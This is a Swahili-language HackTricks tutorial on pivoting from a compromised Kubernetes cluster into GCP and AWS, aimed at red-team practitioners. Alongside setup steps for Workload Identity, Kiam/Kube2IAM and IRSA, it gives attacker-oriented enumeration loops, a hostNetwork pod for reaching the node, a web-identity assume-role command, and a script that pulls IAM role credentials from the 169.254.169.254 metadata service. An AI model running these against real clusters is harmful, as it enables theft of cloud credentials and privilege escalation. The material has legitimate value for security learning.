Kubernetes Pivoting to Clouds

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

GCP

Ikiwa unatekeleza kikundi cha k8s ndani ya GCP labda utataka kwamba programu fulani inayotekelezwa ndani ya kikundi iwe na ufikiaji fulani kwa GCP. Kuna njia 2 za kawaida za kufanya hivyo:

Kuweka funguo za GCP-SA kama siri

Njia ya kawaida ya kumpa ufikiaji wa programu ya kubernetes kwa GCP ni:

  • Unda Akaunti ya Huduma ya GCP

  • Unganisha ruhusa zinazohitajika

  • Pakua funguo la json la SA iliyoundwa

  • Weka kama siri ndani ya kikundi

  • Weka mazingira ya GOOGLE_APPLICATION_CREDENTIALS ikionyesha njia ambapo json iko.

Kwa hivyo, kama mshambuliaji, ikiwa unaharibu chombo ndani ya kikundi, unapaswa kuangalia mazingira ya env na faili za json zenye siri za GCP.

Kuunganisha json ya GSA na siri ya KSA

Njia ya kumpa ufikiaji wa GSA kwa kikundi cha GKE ni kwa kuunganisha kama ifuatavyo:

  • Unda akaunti ya huduma ya Kubernetes katika eneo sawa na kikundi chako cha GKE ukitumia amri ifuatayo:

Copy codekubectl create serviceaccount <service-account-name>
  • Unda Siri ya Kubernetes ambayo ina maelezo ya akaunti ya huduma ya GCP unayotaka kutoa ufikiaji kwa kikundi cha GKE. Unaweza kufanya hivi ukitumia zana ya mstari wa amri ya gcloud, kama inavyoonyeshwa katika mfano ufuatao:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Unganisha Siri ya Kubernetes kwa akaunti ya huduma ya Kubernetes kwa kutumia amri ifuatayo:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Katika hatua ya pili ilisetiwa siri ya GSA kama siri ya KSA. Kisha, ikiwa unaweza kusoma siri hiyo kutoka ndani ya kikundi cha GKE, unaweza kupanda hadi akaunti hiyo ya huduma ya GCP.

Utambulisho wa Kazi wa GKE

Kwa Utambulisho wa Kazi, tunaweza kusanidi akaunti ya huduma ya Kubernetes kufanya kazi kama akaunti ya huduma ya Google. Makasha yanayoendesha na akaunti ya huduma ya Kubernetes itajithibitisha moja kwa moja kama akaunti ya huduma ya Google wakati wa kupata APIs za Google Cloud.

Mfululizo wa kwanza wa hatua za kuwezesha tabia hii ni kuwezesha Utambulisho wa Kazi katika GCP (hatua) na kuunda SA ya GCP unayotaka k8s kuiga.

  • Wezesha Utambulisho wa Kazi kwenye kikundi kipya

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Unda/Boresha nodepool mpya (Vikundi vya kiotomatiki havihitaji hii)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Unda Akaunti ya Huduma ya GCP ya kujifanya kutoka K8s na ruhusa za GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • unganisha kwenye kikundi na unda akaunti ya huduma ya kutumia

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • unganisha GSA na KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Tekeleza pod na KSA na angalia upatikanaji wa GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Angalia amri ifuatayo kwa ajili ya kujithibitisha endapo inahitajika:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Kama muhusika ndani ya K8s unapaswa kutafuta SAs na iam.gke.io/gcp-service-account maelezo kwani hilo linaonyesha kwamba SA inaweza kupata kitu katika GCP. Chaguo lingine litakuwa kujaribu kutumia kila KSA katika kikundi na kuangalia kama ina ufikivu. Kutoka GCP ni muhimu sana kuchunguza vifungo na kujua ufikivu gani unampa SAs ndani ya Kubernetes.

Hii ni script ya kutembea kwa urahisi juu ya ufafanuzi wa podi zote kutafuta hiyo maelezo:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Njia (iliyopitwa na wakati) ya kutoa Majukumu ya IAM kwa Pods ni kutumia Kiam au Kube2IAM server. Kimsingi utahitaji kuendesha daemonset katika kikundi chako na aina ya jukumu la IAM lenye mamlaka. Hii daemonset ndiyo itakayotoa ufikiaji wa majukumu ya IAM kwa pods zinazohitaji.

Kwanza kabisa unahitaji kusanidi majukumu gani yanaweza kupatikana ndani ya nafasi, na unafanya hivyo na maelezo ndani ya kitu cha nafasi:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Baada ya nafasi ya jina kuwekwa na majukumu ya IAM ambayo Pots zinaweza kuwa nayo, unaweza kutaja jukumu unalotaka kwa kila ufafanuzi wa pod kwa kitu kama:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Kama muhalifu, ukiona maelezo haya kwenye pods au namespaces au server ya kiam/kube2iam ikifanya kazi (labda katika kube-system) unaweza kujifanya kuwa kila jukumu ambalo tayari linatumika na pods na zaidi (ikiwa una ufikiaji wa akaunti ya AWS tafuta majukumu).

Unda Pod na Jukumu la IAM

Jukumu la IAM linalohitajika lazima liwe katika akaunti ile ile ya AWS kama jukumu la kiam/kube2iam na jukumu hilo lazima liweze kufikia.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

Jukumu la IAM kwa Akaunti za Huduma za K8s kupitia OIDC

Hii ni njia iliyopendekezwa na AWS.

  1. Kisha unajenga jukumu la IAM na ruhusa ambazo SA itahitaji.

  2. Unda mahusiano ya uaminifu kati ya jukumu la IAM na SA jina (au maeneo yanayotoa ufikiaji wa jukumu kwa SAs zote za eneo hilo). Mahusiano ya uaminifu kimsingi yataangalia jina la mtoa huduma wa OIDC, jina la eneo na jina la SA.

  3. Hatimaye, unda SA na alama inayoonyesha ARN ya jukumu, na podi zinazoendeshwa na SA hiyo zitakuwa na ufikiaji wa tokeni ya jukumu. Tokeni imeandikwa ndani ya faili na njia imeelezwa katika AWS_WEB_IDENTITY_TOKEN_FILE (chaguo-msingi: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Kukamata aws kwa kutumia token kutoka /var/run/secrets/eks.amazonaws.com/serviceaccount/token endesha:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Kama muhalifu, ikiwa unaweza kuchunguza kikundi cha K8s, angalia akaunti za huduma zenye alama hiyo ili kupanda hadi AWS. Ili kufanya hivyo, tu tekeleza/tengeneza kikasha kutumia moja ya akaunti za huduma za IAM na ibebe kitufe.

Zaidi ya hayo, ikiwa uko ndani ya kikasha, chunguza mazingira kama vile AWS_ROLE_ARN na AWS_WEB_IDENTITY_TOKEN.

Maranyingi Sera ya Uaminifu ya jukumu inaweza kuwa imeundwa vibaya na badala ya kutoa ufikiaji wa AssumeRole kwa akaunti ya huduma inayotarajiwa, inampa kwa akaunti zote za huduma. Kwa hivyo, ikiwa unaweza kuandika alama kwenye akaunti ya huduma iliyodhibitiwa, unaweza kupata ufikiaji wa jukumu.

Angalia ukurasa ufuatao kwa maelezo zaidi:

pageAWS - Federation Abuse

Pata Kikasha na SAs zenye Majukumu ya IAM kwenye Kikundi

Hii ni script ya kutembea kwa urahisi juu ya kikasha chote na ufafanuzi wa sas ukitafuta alama hiyo:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Jukumu la IAM la Node

Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba Majukumu ya IAM na makodsi, lakini kumbuka kwamba Node ya kikundi cha K8s itakuwa kifaa ndani ya wingu. Hii inamaanisha kwamba Node ina uwezekano mkubwa wa kuwa na jukumu jipya la IAM unaloweza kuiba (kumbuka kwamba kawaida nodes zote za kikundi cha K8s zitakuwa na jukumu sawa la IAM, kwa hivyo inaweza isiwe na maana kujaribu kuangalia kila node).

Walakini, kuna mahitaji muhimu ya kupata kiishio cha metadata kutoka kwa node, unahitaji kuwa kwenye node (kikao cha ssh?) au angalau kuwa na mtandao sawa:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Pora Kitambulisho cha Jukumu la IAM

Tulijadili jinsi ya kuambatisha Majukumu ya IAM kwa Pods au hata jinsi ya kutoroka kwa Node ili kuiba Jukumu la IAM ambalo kifaa kinaambatisha.

Unaweza kutumia script ifuatayo kwa kuiba vibali vya jukumu lako la IAM ulilofanya kazi kwa bidii:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Marejeo

Jifunze kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated